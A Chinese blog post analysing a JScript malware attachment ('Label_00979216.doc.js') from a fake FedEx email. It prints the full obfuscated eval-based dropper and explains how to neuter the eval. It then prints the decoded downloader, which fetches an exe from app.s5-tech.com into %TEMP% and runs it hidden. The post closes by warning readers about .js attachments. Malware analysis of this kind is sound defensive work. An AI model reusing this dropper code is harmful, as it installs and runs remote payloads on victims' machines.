您的位置:首页 > Web前端 > JavaScript

20160307 - 双击打开 Js 扩展名的附件要保持留心

2016-03-07 00:17 537 查看
Windows Script Host 技术是一门很老的技术,它让 Windows 的自带脚本 VBScript 和 JScript 可以操作 Windows ActiveX 对象,这样的脚本具有本地权限,比如本地文件系统的访问,网络的访问等。我在邮件中收到一封来自联邦快递的邮件。附件为:Label_00979216.doc.js,很简单的混淆并压缩,代码如下,

var a5 = 'va';
var a3 = 'l';
var a1 = '';
var a4 = 'e';

function opx() {
a1 += 's(';
pfo();
};

function fef() {
a1 += 'Strea';
iq();
};

function ciq() {
a1 += 'GET"';
ch();
};

function m() {
a1 += ' Act';
es();
};

function obm() {
a1 += ' v';
sqf();
};

function fzw() {
a1 += 'rn';
yeu();
};

function pab() {
a1 += 'Shel';
xwm();
};

function cr() {
a1 += '; xa.';
elt();
};

function jj() {
a1 += 'xa =';
rd();
};

function ny() {
a1 += 'ry ';
wk();
};

function ke() {
a1 += 'fn';
lh();
};

function wbl() {
a1 += 'e ==';
fpg();
};

function ueh() {
a1 += '9531';
n();
};

function ma() {
a1 += '= 0';
cr();
};

function q() {
a1 += '); xo';
s();
};

function rb() {
a1 += '2455';
em();
};

function so() {
a1 += '= ';
upv();
};

function xo() {
a1 += 'pandE';
dyu();
};

function xtj() {
a1 += 'r,fal';
qj();
};

function j() {
a1 += ');';
lyg();
};

function dyr() {
a1 += 'pt.';
pab();
};

function dyu() {
a1 += 'nvir';
x();
};

function lyg() {
a1 += ' }; }';
pws();
};

function suv() {
a1 += '00D10';
tla();
};

function sdx() {
a1 += '; ';
wun();
};

function uet() {
a1 += 'rnd';
jp();
};

function exo() {
a1 += 'n;';
ht();
};

function wqb() {
a1 += 'r)';
whi();
};

function zh() {
a1 += 'se';
rj();
};

function zc() {
a1 += '};';
azk();
};

function elt() {
a1 += 'saveT';
qw();
};

function x() {
a1 += 'on';
jq();
};

function rj() {
a1 += 'nd()';
twi();
};

function bmc() {
a1 += 'on';
bq();
};

function xwm() {
a1 += 'l");';
obm();
};

function dt() {
a1 += 'a.po';
cn();
};

function yeu() {
a1 += ' > 0';
ws();
};

function ow() {
a1 += 'xe",1';
gw();
};

function bxl() {
a1 += 'Strin';
zko();
};

function le() {
a1 += '); x';
dt();
};

function nj() {
a1 += 'p?id';
ctl();
};

function a() {
a1 += ' new';
m();
};

function mok() {
a1 += ' 1; ';
hma();
};

function e() {
a1 += 'Scri';
dyr();
};

function qw() {
a1 += 'oFi';
kg();
};

function pc() {
a1 += '38';
adj();
};

function ruz() {
a1 += ')+f';
exo();
};

function yfs() {
a1 += ' }';
cw();
};

function kva() {
a1 += 'L2.X';
kf();
};

function ywg() {
a1 += ',0,0)';
ze();
};

function egd() {
a1 += 'a.o';
gz();
};

function bq() {
a1 += '() ';
mqo();
};

function yey() {
a1 += 'dl(fr';
fo();
};

function p() {
a1 += 'ng';
opx();
};

function gw() {
a1 += ');';
ne();
};

function jp() {
a1 += '=583';
ueh();
};

function ze() {
a1 += '; ';
ywx();
};

function wk() {
a1 += '{ x';
lf();
};

function mqo() {
a1 += '{ if';
u();
};

function hma() {
a1 += 'xa.wr';
oct();
};

function lyq() {
a1 += 'MS';
ta();
};

function fo() {
a1 += ',fn,';
ra();
};

function aa() {
a1 += 's5-';
k();
};

function lf() {
a1 += 'o.';
bqk();
};

function iec() {
a1 += 'onse';
l();
};

function pws() {
a1 += '; t';
ny();
};

function gz() {
a1 += 'pen()';
sdx();
};

function i() {
a1 += 'yst';
lg();
};

function la() {
a1 += ' =';
tbz();
};

function ta() {
a1 += 'XM';
kva();
};

function kf() {
a1 += 'MLH';
zpg();
};

function yt() {
a1 += 'com/d';
plz();
};

function ovq() {
a1 += 'P%")+';
bxl();
};

function ia() {
a1 += ':/';
zll();
};

function kg() {
a1 += 'le(';
ke();
};

function ff() {
a1 += 'r ws';
y();
};

function pp() {
a1 += 'fn';
ywg();
};

function n() {
a1 += '","8';
ym();
};

function g() {
a1 += 'xo ';
so();
};

function ng() {
a1 += 'xo.';
zh();
};

function mlz() {
a1 += '("';
ciq();
};

function ym() {
a1 += '44';
pc();
};

function kqc() {
a1 += '09&';
uet();
};

function omc() {
a1 += '("W';
e();
};

function wun() {
a1 += 'xa.ty';
tp();
};

function ctl() {
a1 += '=54';
pt();
};

function lg() {
a1 += 'atec';
ors();
};

function bmm() {
a1 += 'XObje';
rvo();
};

function zko() {
a1 += 'g.fro';
fr();
};

function ch() {
a1 += ',f';
xtj();
};

function l() {
a1 += 'Body';
le();
};

function jq() {
a1 += 'mentS';
jf();
};

function em() {
a1 += '565';
jet();
};

function cw() {
a1 += ' catc';
dig();
};

function yv() {
a1 += 'e(92';
ruz();
};

function twi() {
a1 += '; ';
oy();
};

function ws() {
a1 += ') { ';
zo();
};

function zpg() {
a1 += 'TTP"';
q();
};

function s() {
a1 += '.onre';
pao();
};

function rd() {
a1 += ' new ';
kh();
};

function vp() {
a1 += 'XOb';
dwx();
};

function vrm() {
a1 += 'Act';
v();
};

function oi() {
a1 += 'ion ';
ma();
};

function lvc() {
a1 += 'D01';
rb();
};

function pt() {
a1 += '51';
cg();
};

function bqk() {
a1 += 'open';
mlz();
};

function etm() {
a1 += 'Run(';
pp();
};

function hp() {
a1 += '("AD';
b();
};

function whi() {
a1 += ' { }';
ssb();
};

function v() {
a1 += 'ive';
bmm();
};

function w() {
a1 += 'Stat';
wbl();
};

function oct() {
a1 += 'ite';
pd();
};

function zll() {
a1 += '/app.';
aa();
};

function qj() {
a1 += 'se); ';
ng();
};

function plz() {
a1 += 'ocume';
wld();
};

function oy() {
a1 += 'if (';
fzw();
};

function b() {
a1 += 'ODB.';
fef();
};

function h() {
a1 += 'ctio';
o();
};

function zo() {
a1 += 'ws.';
etm();
};

function es() {
a1 += 'ive';
vp();
};

function r() {
a1 += 'va';
ff();
};

function aey() {
a1 += 'rCod';
yv();
};

function adj() {
a1 += '33';
fpe();
};

function tla() {
a1 += '0D011';
lvc();
};

function kh() {
a1 += 'Acti';
zn();
};

function ors() {
a1 += 'hange';
c();
};

function sqf() {
a1 += 'ar fn';
la();
};

function zr() {
a1 += ' var ';
jj();
};

function jn() {
a1 += 'esp';
iec();
};

function fpg() {
a1 += '= 4';
oh();
};

function iq() {
a1 += 'm")';
tgk();
};

function nyj() {
a1 += 'ready';
w();
};

function ht() {
a1 += ' var ';
g();
};

function k() {
a1 += 'tech.';
yt();
};

function ttg() {
a1 += 'bject';
hp();
};

function t() {
a1 += 'ncti';
bmc();
};

function bb() {
a1 += 'xa.c';
lfp();
};

function o() {
a1 += 'n ';
yey();
};

function tbz() {
a1 += ' ws';
fkc();
};

function jf() {
a1 += 'tri';
p();
};

function iiw() {
a1 += '("';
my();
};

function ssb() {
a1 += '; ';
zc();
};

function wq() {
a1 += '0B';
kqc();
};

function ra() {
a1 += 'rn)';
tux();
};

function oh() {
a1 += ') {';
zr();
};

function my() {
a1 += 'http';
ia();
};

function owg() {
a1 += 'fu';
t();
};

function lh() {
a1 += ',2); ';
bb();
};

function tux() {
a1 += ' { ';
r();
};

function wld() {
a1 += 'nt.ph';
nj();
};

function ywx() {
a1 += '};';
yfs();
};

function tgk() {
a1 += '; x';
egd();
};

function dwx() {
a1 += 'ject';
omc();
};

function lfp() {
a1 += 'lose(';
j();
};

function fpe() {
a1 += '5.e';
ow();
};

function upv() {
a1 += 'new ';
vrm();
};

function kag() {
a1 += ' =';
mok();
};

function ne() {
this[a4 + a5 + a3](a1);
};

function rvo() {
a1 += 'ct("';
lyq();
};

function fr() {
a1 += 'mCha';
aey();
};

function dig() {
a1 += 'h (e';
wqb();
};

function u() {
a1 += ' (xo.';
nyj();
};

function y() {
a1 += ' =';
a();
};

function fkc() {
a1 += '.Ex';
xo();
};

function azk() {
a1 += ' dl';
iiw();
};

function tp() {
a1 += 'pe';
kag();
};

function pd() {
a1 += '(xo.R';
jn();
};

function pao() {
a1 += 'ad';
i();
};

function fs() {
a1 += 'fun';
h();
};

function c() {
a1 += ' = ';
owg();
};

function jet() {
a1 += '24A07';
wq();
};

function cn() {
a1 += 'sit';
oi();
};

function pfo() {
a1 += '"%TEM';
ovq();
};

function zn() {
a1 += 'veXO';
ttg();
};

function cg() {
a1 += '515E1';
suv();
};
fs();


View Code
虽然简单,但这样的代码不会被任何杀毒软件识别并查杀,稍看了看,属于字符串拼接为一个函数并 eval 执行,于是将最终执行前的函数:

function gw() {
a1 += ');';
ne();
};


改为:

function gw() {
a1 += ');';
//ne();
WScript.Echo(a1);
};


复制出内容如下:

function dl(fr, fn, rn) {
var ws = new ActiveXObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn;
var xo = new ActiveXObject("MSXML2.XMLHTTP");
xo.onreadystatechange = function() {
if (xo.readyState === 4) {
var xa = new ActiveXObject("ADODB.Stream");
xa.open();
xa.type = 1;
xa.write(xo.ResponseBody);
xa.position = 0;
xa.saveToFile(fn, 2);
xa.close();
};
};
try {
xo.open("GET", fr, false);
xo.send();
if (rn > 0) {
ws.Run(fn, 0, 0);
};
} catch (er) {};
};
dl("http://app.s5-tech.com/document.php?id=XX51515E100D100D011D01245556524A070B09&rnd=5839531", "84438335.exe", 1);


似乎是远程下载一个文件写入本地,并执行。地址已经失效,于是没有下载作进一步的分析。

但提醒一下:双击打开 Js 扩展名的附件要保持留心。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: